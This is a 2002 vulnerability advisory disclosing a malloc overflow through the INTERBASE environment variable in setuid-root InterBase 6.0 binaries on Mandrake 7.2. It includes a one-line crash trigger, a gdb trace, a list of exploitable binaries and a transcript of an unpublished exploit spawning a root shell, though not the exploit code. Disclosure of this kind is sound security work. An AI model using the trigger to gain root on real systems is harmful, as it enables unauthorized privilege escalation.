Strategic Reconnaissance Team Security Advisory (SRT2002-06-17-1043)

======================================================================
.: Description:
---------------
interbase-6.0-1.i386.rpm provided with Mandrake 7.2 contains an issue
when reading the enivornment variable "INTERBASE". This issue is
demonstrated below.
[dotslash_at_ghetto dotslash]$ export INTERBASE=`perl -e 'print "A" x 500'`
[dotslash_at_ghetto dotslash]$ /usr/local/interbase/bin/gds_drop
Segmentation fault
This issue results in a malloc() overflow.
The following suid root binaries are potentially exploitable.
/usr/local/interbase/bin/gds_drop
/usr/local/interbase/bin/gds_inet_server
/usr/local/interbase/bin/gds_lock_mgr
(gdb) r
Starting program: /usr/local/interbase/bin/gds_drop
Program received signal SIGSEGV, Segmentation fault.
0x400a0832 in ptmalloc_init () at malloc.c:1696
1696 malloc.c: No such file or directory.

.: Impact:
----------
local root can be exploited.
[dotslash_at_ghetto dotslash]$ id
uid=501(dotslash) gid=1214(snosoft) groups=1214(snosoft),501(dotslash)
[dotslash_at_ghetto dotslash]$ /etc/hackme/done/interbase_gds_drop_exploit
sh-2.05# id
uid=0(root) gid=1214(snosoft) groups=1214(snosoft),501(dotslash)
.: Systems Affected:
--------------------
This ships with Mandrake 7.2 on one of the extra CD's. If you have
installed from the following packages you should consider yourself
vulnerable: interbase-6.0-1.i386.rpm or ib_source601.tar.gz
.: Solution:
------------
The source code contains numerous strcat() calls ... it was difficult
to tell which actually caused the problem.
Borland.com was notified ... the status on a fix is unknown. Due to
lack of access to version 6.5 it is unknown if current versions are
affected.
